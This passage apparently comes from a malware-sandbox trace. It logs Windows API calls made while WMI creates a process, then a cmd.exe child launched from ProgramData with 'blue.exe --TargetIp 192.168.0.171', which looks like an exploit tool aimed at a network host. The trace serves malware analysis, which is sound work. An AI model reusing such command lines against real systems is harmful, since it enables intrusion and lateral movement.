_String=0x0, _Context=0xc7d2073) returned="*" [0101.432] lstrlenW (lpString="FROM") returned 4 [0101.432] lstrlenW (lpString="*") returned 1 [0101.432] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0101.432] malloc (_Size=0xc) returned 0x962718 [0101.432] free (_Block=0x962580) [0101.432] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d2073 | out: _String=0x0, _Context=0xc7d2073) returned="from" [0101.432] lstrlenW (lpString="FROM") returned 4 [0101.432] lstrlenW (lpString="from") returned 4 [0101.432] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0101.432] malloc (_Size=0xc) returned 0x962580 [0101.432] free (_Block=0x962718) [0101.432] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d2073 | out: _String=0x0, _Context=0xc7d2073) returned="Win32_Process" [0101.432] malloc (_Size=0xc) returned 0x962718 [0101.432] free (_Block=0x962580) [0101.432] free (_Block=0x964090) [0101.433] ??0CHString@@QAE@XZ () returned 0x12f2b0 [0101.433] GetCurrentThreadId () returned 0x1040 [0101.433] LoadStringW (in: hInstance=0x0, uID=0xb7ea, lpBuffer=0x12ea5c, cchBufferMax=1024 | out: lpBuffer="Executing (%1)->%2()\r\n") returned 0x16 [0101.433] FormatMessageW (in: dwFlags=0x2500, lpSource=0x12ea5c, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x12ea58, nSize=0x0, Arguments=0x12ea44 | out: lpBuffer="괠eExecuting (%1)->%2()\r\n") returned 0x25 [0101.433] malloc (_Size=0xc) returned 0x962580 [0101.433] LocalFree (hMem=0x65ad20) returned 0x0 [0101.433] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Executing (Win32_Process)->Create()\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0101.433] malloc (_Size=0x26) returned 0x963440 [0101.433] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Executing (Win32_Process)->Create()\r\n", cchWideChar=-1, lpMultiByteStr=0x963440, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Executing (Win32_Process)->Create()\r\n", lpUsedDefaultChar=0x0) returned 38 [0101.433] ??YCHString@@QAEABV0@PBG@Z () returned 0xe9c28c [0101.433] fprintf (in: _File=0x76be2920, _Format="%s" | out: _File=0x76be2920) returned 37 [0101.434] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0101.434] free (_Block=0x963440) [0101.435] free (_Block=0x962580) [0101.435] malloc (_Size=0xc) returned 0x962580 [0101.435] IWbemServices:ExecMethod (in: This=0xa6d0bc, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0xa81198, ppOutParams=0x12f2c8*=0x0, ppCallResult=0x0 | out: ppOutParams=0x12f2c8*=0xa6d510, ppCallResult=0x0) returned 0x0 [0102.139] free (_Block=0x962580) [0102.139] malloc (_Size=0x800) returned 0x965d20 [0102.139] LoadStringW (in: hInstance=0x0, uID=0xb3b3, lpBuffer=0x965d20, cchBufferMax=1024 | out: lpBuffer="Method execution successful.\r\n") returned 0x1e [0102.139] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Method execution successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0102.139] malloc (_Size=0x1f) returned 0x963850 [0102.139] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Method execution successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x963850, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Method execution successful.\r\n", lpUsedDefaultChar=0x0) returned 31 [0102.139] ??YCHString@@QAEABV0@PBG@Z () returned 0xe9c28c [0102.139] fprintf (in: _File=0x76be2920, _Format="%s" | out: _File=0x76be2920) returned 30 [0102.140] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0102.140] free (_Block=0x963850) [0102.140] free (_Block=0x965d20) [0102.140] IUnknown:AddRef (This=0xa6d510) returned 0x2 [0102.140] ??0CHString@@QAE@XZ () returned 0x12f258 [0102.140] GetCurrentThreadId () returned 0x1040 [0102.141] IWbemClassObject:GetObjectText (in: This=0xa6d510, lFlags=0, pstrObjectText=0x12f25c | out: pstrObjectText=0x12f25c*="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 4716;\n\x09ReturnValue = 0;\n};\n") returned 0x0 [0102.142] malloc (_Size=0x800) returned 0x965d20 [0102.142] LoadStringW (in: hInstance=0x0, uID=0xb7f7, lpBuffer=0x965d20, cchBufferMax=1024 | out: lpBuffer="Out Parameters:") returned 0xf [0102.142] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Out Parameters:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.142] malloc (_Size=0x10) returned 0x962580 [0102.142] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Out Parameters:", cchWideChar=-1, lpMultiByteStr=0x962580, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Out Parameters:", lpUsedDefaultChar=0x0) returned 16 [0102.142] ??YCHString@@QAEABV0@PBG@Z () returned 0xe9c28c [0102.142] fprintf (in: _File=0x76be2920, _Format="%s" | out: _File=0x76be2920) returned 15 [0102.142] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0102.142] free (_Block=0x962580) [0102.142] free (_Block=0x965d20) [0102.143] malloc (_Size=0xc) returned 0x962580 [0102.143] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 4716;\n\x09ReturnValue = 0;\n};\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0102.143] malloc (_Size=0x45) returned 0x964cb8 [0102.143] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 4716;\n\x09ReturnValue = 0;\n};\n", cchWideChar=-1, lpMultiByteStr=0x964cb8, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 4716;\n\x09ReturnValue = 0;\n};\n", lpUsedDefaultChar=0x0) returned 69 [0102.143] ??YCHString@@QAEABV0@PBG@Z () returned 0xe9c28c [0102.143] fprintf (in: _File=0x76be2920, _Format="%s" | out: _File=0x76be2920) returned 68 [0102.143] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0102.143] free (_Block=0x964cb8) [0102.143] free (_Block=0x962580) [0102.143] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0102.143] malloc (_Size=0x2) returned 0x963970 [0102.143] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=-1, lpMultiByteStr=0x963970, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 2 [0102.143] ??YCHString@@QAEABV0@PBG@Z () returned 0xe9c28c [0102.143] fprintf (in: _File=0x76be2940, _Format="%s" | out: _File=0x76be2940) returned 1 [0102.144] fflush (in: _File=0x76be2940 | out: _File=0x76be2940) returned 0 [0102.144] free (_Block=0x963970) [0102.144] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0102.144] IUnknown:Release (This=0xa6d510) returned 0x1 [0102.144] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0102.144] free (_Block=0x962718) [0102.144] free (_Block=0x962730) [0102.144] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0102.144] free (_Block=0x962790) [0102.144] free (_Block=0x963910) [0102.144] free (_Block=0x9630e0) [0102.144] free (_Block=0x962ff0) [0102.144] free (_Block=0x963f10) [0102.144] free (_Block=0x963920) [0102.144] free (_Block=0x963080) [0102.144] free (_Block=0x963110) [0102.144] free (_Block=0x963f50) [0102.144] free (_Block=0x9638f0) [0102.144] free (_Block=0x963020) [0102.144] free (_Block=0x962f30) [0102.144] free (_Block=0x963e90) [0102.145] free (_Block=0x963900) [0102.145] free (_Block=0x962fc0) [0102.145] free (_Block=0x963050) [0102.145] free (_Block=0x963ed0) [0102.145] free (_Block=0x963e50) [0102.145] free (_Block=0x962f90) [0102.145] free (_Block=0x962f60) [0102.145] free (_Block=0x963950) [0102.145] free (_Block=0x9633b0) [0102.145] free (_Block=0x963380) [0102.145] free (_Block=0x964010) [0102.145] free (_Block=0x963960) [0102.145] free (_Block=0x963410) [0102.145] free (_Block=0x9633e0) [0102.145] free (_Block=0x964050) [0102.145] free (_Block=0x963930) [0102.145] free (_Block=0x9632f0) [0102.145] free (_Block=0x9630b0) [0102.145] free (_Block=0x963f90) [0102.145] free (_Block=0x963940) [0102.145] free (_Block=0x963350) [0102.145] free (_Block=0x963320) [0102.145] free (_Block=0x963fd0) [0102.145] free (_Block=0x963e10) [0102.145] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0102.145] GetCurrentThreadId () returned 0x1040 [0102.145] ??0CHString@@QAE@PBG@Z () returned 0x12fcf4 [0102.145] ??YCHString@@QAEABV0@PBG@Z () returned 0x12fcf4 [0102.145] lstrlenW (lpString="LIST") returned 4 [0102.145] lstrlenW (lpString="call") returned 4 [0102.145] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0102.145] lstrlenW (lpString="ASSOC") returned 5 [0102.145] lstrlenW (lpString="call") returned 4 [0102.145] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="ASSOC", cchCount2=5) returned 3 [0102.145] lstrlenW (lpString="GET") returned 3 [0102.145] lstrlenW (lpString="call") returned 4 [0102.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0102.146] ??1CHString@@QAE@XZ () returned 0x1 [0102.146] WbemLocator:IUnknown:Release (This=0xa6d0bc) returned 0x0 [0102.146] ?Empty@CHString@@QAEXXZ () returned 0x73dd0510 [0102.147] _kbhit () returned 0x0 [0102.148] free (_Block=0x963890) [0102.149] free (_Block=0x962460) [0102.149] free (_Block=0x962420) [0102.149] free (_Block=0x962408) [0102.149] free (_Block=0x9623f0) [0102.149] free (_Block=0x1bfd28) [0102.149] free (_Block=0x962490) [0102.149] free (_Block=0x962a20) [0102.149] free (_Block=0x962538) [0102.149] free (_Block=0x962520) [0102.149] free (_Block=0x9628c0) [0102.149] free (_Block=0x962550) [0102.149] free (_Block=0x1bebc8) [0102.149] free (_Block=0x1b3fd8) [0102.149] free (_Block=0x962508) [0102.149] free (_Block=0x1b32b8) [0102.149] free (_Block=0x962900) [0102.149] free (_Block=0x963718) [0102.149] free (_Block=0x962640) [0102.149] free (_Block=0x9638d0) [0102.149] free (_Block=0x962658) [0102.149] free (_Block=0x963260) [0102.149] free (_Block=0x963230) [0102.149] free (_Block=0x962670) [0102.149] free (_Block=0x962688) [0102.149] free (_Block=0x963d90) [0102.149] free (_Block=0x9626a0) [0102.149] free (_Block=0x9638e0) [0102.149] free (_Block=0x9626b8) [0102.149] free (_Block=0x9632c0) [0102.149] free (_Block=0x963290) [0102.149] free (_Block=0x9626d0) [0102.150] free (_Block=0x9626e8) [0102.150] free (_Block=0x963dd0) [0102.150] free (_Block=0x9625e0) [0102.150] free (_Block=0x9638b0) [0102.150] free (_Block=0x9625f8) [0102.150] free (_Block=0x9631a0) [0102.150] free (_Block=0x963170) [0102.150] free (_Block=0x962610) [0102.150] free (_Block=0x962628) [0102.150] free (_Block=0x963d10) [0102.150] free (_Block=0x9625c8) [0102.150] free (_Block=0x9638c0) [0102.150] free (_Block=0x962568) [0102.150] free (_Block=0x963200) [0102.150] free (_Block=0x9631d0) [0102.150] free (_Block=0x962598) [0102.150] free (_Block=0x9625b0) [0102.150] free (_Block=0x963d50) [0102.150] free (_Block=0x963cd0) [0102.150] free (_Block=0x9624f0) [0102.150] free (_Block=0x962700) [0102.150] free (_Block=0x963140) [0102.150] IUnknown:Release (This=0xa6d510) returned 0x0 [0102.150] ?Empty@CHString@@QAEXXZ () returned 0x73dd0504 [0102.150] free (_Block=0x1bfe50) [0102.150] free (_Block=0x1bff78) [0102.150] free (_Block=0x962478) [0102.150] free (_Block=0x1bff88) [0102.150] free (_Block=0x962848) [0102.151] free (_Block=0x9624c0) [0102.151] free (_Block=0x9624a8) [0102.151] free (_Block=0x9624d8) [0102.151] free (_Block=0x962948) [0102.151] free (_Block=0x1b2b48) [0102.151] free (_Block=0x1b2b90) [0102.151] free (_Block=0x1b2bd8) [0102.151] free (_Block=0x962870) [0102.151] free (_Block=0x1beba8) [0102.151] free (_Block=0x962898) [0102.151] free (_Block=0x1b32a0) [0102.151] free (_Block=0x1be8c8) [0102.151] free (_Block=0x1b3288) [0102.151] free (_Block=0x1be8a8) [0102.151] free (_Block=0x1b3270) [0102.151] free (_Block=0x1be888) [0102.151] free (_Block=0x1b2de8) [0102.151] free (_Block=0x1b2e00) [0102.151] free (_Block=0x1b2db0) [0102.151] free (_Block=0x1b2dc8) [0102.151] free (_Block=0x1b2e20) [0102.151] free (_Block=0x1b2e38) [0102.151] free (_Block=0x1b2e58) [0102.151] free (_Block=0x1be868) [0102.151] free (_Block=0x1b2d40) [0102.151] free (_Block=0x1b2d58) [0102.151] free (_Block=0x1b2d08) [0102.151] free (_Block=0x1b2d20) [0102.151] free (_Block=0x1b2d78) [0102.151] free (_Block=0x1b2d90) [0102.152] free (_Block=0x1b2cd0) [0102.152] free (_Block=0x1b2ce8) [0102.152] free (_Block=0x1b2c68) [0102.152] free (_Block=0x1b2c20) [0102.152] free (_Block=0x9605b0) [0102.152] WbemLocator:IUnknown:Release (This=0xa60828) returned 0x2 [0102.152] WbemLocator:IUnknown:Release (This=0xa6d064) returned 0x0 [0102.153] WbemLocator:IUnknown:Release (This=0xa6d00c) returned 0x0 [0102.161] WbemLocator:IUnknown:Release (This=0xa60828) returned 0x1 [0102.161] ?Empty@CHString@@QAEXXZ () returned 0x73dd0504 [0102.161] WbemLocator:IUnknown:Release (This=0xa60828) returned 0x0 [0102.161] free (_Block=0x962390) [0102.161] free (_Block=0x9623a8) [0102.161] free (_Block=0x1beb48) [0102.161] free (_Block=0x9623c0) [0102.162] free (_Block=0x9623d8) [0102.162] free (_Block=0x1beb68) [0102.162] free (_Block=0x962270) [0102.162] free (_Block=0x962288) [0102.162] free (_Block=0x1bea88) [0102.162] free (_Block=0x9622a0) [0102.162] free (_Block=0x9622b8) [0102.162] free (_Block=0x1beaa8) [0102.162] free (_Block=0x962210) [0102.162] free (_Block=0x962228) [0102.162] free (_Block=0x1bea48) [0102.162] free (_Block=0x962240) [0102.162] free (_Block=0x962258) [0102.162] free (_Block=0x1bea68) [0102.162] free (_Block=0x962330) [0102.162] free (_Block=0x962348) [0102.162] free (_Block=0x1beb08) [0102.162] free (_Block=0x962360) [0102.162] free (_Block=0x962378) [0102.162] free (_Block=0x1beb28) [0102.162] free (_Block=0x9621b0) [0102.162] free (_Block=0x9621c8) [0102.162] free (_Block=0x1bea08) [0102.163] free (_Block=0x9621e0) [0102.163] free (_Block=0x9621f8) [0102.163] free (_Block=0x1bea28) [0102.163] free (_Block=0x9622d0) [0102.163] free (_Block=0x9622e8) [0102.163] free (_Block=0x1beac8) [0102.163] free (_Block=0x962300) [0102.163] free (_Block=0x962318) [0102.163] free (_Block=0x1beae8) [0102.163] free (_Block=0x962120) [0102.163] free (_Block=0x962138) [0102.163] free (_Block=0x1be9a8) [0102.163] free (_Block=0x1bfbc0) [0102.163] free (_Block=0x1bfbd8) [0102.163] free (_Block=0x1be908) [0102.163] free (_Block=0x1b3300) [0102.163] free (_Block=0x1b3318) [0102.163] free (_Block=0x1be8e8) [0102.163] free (_Block=0x962090) [0102.163] free (_Block=0x9620a8) [0102.163] free (_Block=0x1be948) [0102.163] free (_Block=0x962150) [0102.163] free (_Block=0x962168) [0102.163] free (_Block=0x1be9c8) [0102.164] free (_Block=0x962060) [0102.164] free (_Block=0x962078) [0102.164] free (_Block=0x1be928) [0102.164] free (_Block=0x9620c0) [0102.164] free (_Block=0x9620d8) [0102.164] free (_Block=0x1be968) [0102.164] free (_Block=0x9620f0) [0102.164] free (_Block=0x962108) [0102.164] free (_Block=0x1be988) [0102.164] free (_Block=0x962180) [0102.164] free (_Block=0x962198) [0102.164] free (_Block=0x1be9e8) [0102.164] CoUninitialize () [0102.342] exit (_Code=0) [0102.343] free (_Block=0x1bfbf0) [0102.343] free (_Block=0x1b2990) [0102.343] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0102.343] free (_Block=0x1b33d8) [0102.343] free (_Block=0x1b3330) [0102.343] free (_Block=0x1b2970) [0102.343] free (_Block=0x1b2950) [0102.343] free (_Block=0x1b2920) [0102.343] free (_Block=0x1b13f8) [0102.343] free (_Block=0x9638a0) [0102.343] free (_Block=0x1b28f0) [0102.343] free (_Block=0x1b13b8) [0102.343] free (_Block=0x1b3fb8) [0102.343] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0102.343] free (_Block=0x1bff98) Thread: id = 531 os_tid = 0x1128 Thread: id = 566 os_tid = 0x11b4 Thread: id = 569 os_tid = 0x11c0 Thread: id = 570 os_tid = 0x11c4 Thread: id = 571 os_tid = 0x11c8 Process: id = "10" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2e6f9000" os_pid = "0x1064" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x388" cmd_line = "C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&blue.exe --TargetIp 192.168.0.171" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 449 os_tid = 0x1068 [0093.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36fd0c | out: lpSystemTimeAsFileTime=0x36fd0c*(dwLowDateTime=0x8e70ed20, dwHighDateTime=0x1d5ca1f)) [0093.794] GetCurrentProcessId () returned 0x1064 [0093.794] GetCurrentThreadId () returned 0x1068 [0093.794] GetTickCount () returned 0x1160436 [0093.794] QueryPerformanceCounter (in: lpPerformanceCount=0x36fd04 | out: lpPerformanceCount=0x36fd04*=23490443979) returned 1 [0093.795] GetModuleHandleA (lpModuleName=0x0) returned 0x4aa20000 [0093.795] __set_app_type (_Type=0x1) [0093.795] __p__fmode () returned 0x76be31f4 [0093.796] __p__commode () returned 0x76be31fc [0093.796] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa421a6) returned 0x0 [0093.796] __getmainargs (in: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c, _DoWildCard=0, _StartInfo=0x4aa44140 | out: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c) returned 0 [0093.796] GetCurrentThreadId () returned 0x1068 [0093.796] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1068) returned 0x60 [0093.796] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0093.796] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0093.796] SetThreadUILanguage (LangId=0x0) returned 0x409 [0093.797] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0093.797] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x36fc9c | out: phkResult=0x36fc9c*=0x0) returned 0x2 [0093.797] VirtualQuery (in: lpAddress=0x36fcd3, lpBuffer=0x36fc6c, dwLength=0x1c | out: lpBuffer=0x36fc6c*(BaseAddress=0x36f000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0093.797] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x36fc6c, dwLength=0x1c | out: lpBuffer=0x36fc6c*(BaseAddress=0x270000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0093.797] VirtualQuery (in: lpAddress=0x271000, lpBuffer=0x36fc6c, dwLength=0x1c | out: lpBuffer=0x36fc6c*(BaseAddress=0x271000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0093.797] VirtualQuery (in: lpAddress=0x273000, lpBuffer=0x36fc6c, dwLength=0x1c | out: lpBuffer=0x36fc6c*(BaseAddress=0x273000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0093.797] VirtualQuery (in: lpAddress=0x370000, lpBuffer=0x36fc6c, dwLength=0x1c | out: lpBuffer=0x36fc6c*(BaseAddress=0x370000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0093.797] GetConsoleOutputCP () returned 0x1b5 [0093.797] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0093.797] SetConsoleCtrlHandler (HandlerRoutine=0x4aa3e72a, Add=1) returned 1 [0093.797] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.797] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0093.797] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.797] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0093.798] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.798] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0093.798] _get_osfhandle (_FileHandle=0) returned 0x3 [0093.798] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0093.798] GetEnvironmentStringsW () returned 0x452398* [0093.798] GetProcessHeap () returned 0x440000 [0093.798] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb36) returned 0x452ed8 [0093.798] FreeEnvironmentStringsW (penv=0x452398) returned 1 [0093.798] GetProcessHeap () returned 0x440000 [0093.798] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4) returned 0x451a78 [0093.799] GetEnvironmentStringsW () returned 0x452398* [0093.799] GetProcessHeap () returned 0x440000 [0093.799] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb36) returned 0x453a18 [0093.799] FreeEnvironmentStringsW (penv=0x452398) returned 1 [0093.799] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36ec0c | out: phkResult=0x36ec0c*=0x68) returned 0x0 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x0, lpData=0x36ec18*=0x0, lpcbData=0x36ec10*=0x1000) returned 0x2 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x4, lpData=0x36ec18*=0x1, lpcbData=0x36ec10*=0x4) returned 0x0 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x0, lpData=0x36ec18*=0x1, lpcbData=0x36ec10*=0x1000) returned 0x2 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x4, lpData=0x36ec18*=0x0, lpcbData=0x36ec10*=0x4) returned 0x0 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x4, lpData=0x36ec18*=0x40, lpcbData=0x36ec10*=0x4) returned 0x0 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x4, lpData=0x36ec18*=0x40, lpcbData=0x36ec10*=0x4) returned 0x0 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x0, lpData=0x36ec18*=0x40, lpcbData=0x36ec10*=0x1000) returned 0x2 [0093.799] RegCloseKey (hKey=0x68) returned 0x0 [0093.799] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36ec0c | out: phkResult=0x36ec0c*=0x68) returned 0x0 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x0, lpData=0x36ec18*=0x40, lpcbData=0x36ec10*=0x1000) returned 0x2 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x4, lpData=0x36ec18*=0x1, lpcbData=0x36ec10*=0x4) returned 0x0 [0093.799] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x0, lpData=0x36ec18*=0x1, lpcbData=0x36ec10*=0x1000) returned 0x2 [0093.800] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x4, lpData=0x36ec18*=0x0, lpcbData=0x36ec10*=0x4) returned 0x0 [0093.800] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x4, lpData=0x36ec18*=0x9, lpcbData=0x36ec10*=0x4) returned 0x0 [0093.800] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x4, lpData=0x36ec18*=0x9, lpcbData=0x36ec10*=0x4) returned 0x0 [0093.800] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36ec14, lpData=0x36ec18, lpcbData=0x36ec10*=0x1000 | out: lpType=0x36ec14*=0x0, lpData=0x36ec18*=0x9, lpcbData=0x36ec10*=0x1000) returned 0x2 [0093.800] RegCloseKey (hKey=0x68) returned 0x0 [0093.800] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1c819f [0093.800] srand (_Seed=0x5e1c819f) [0093.800] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&blue.exe --TargetIp 192.168.0.171" [0093.800] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&blue.exe --TargetIp 192.168.0.171" 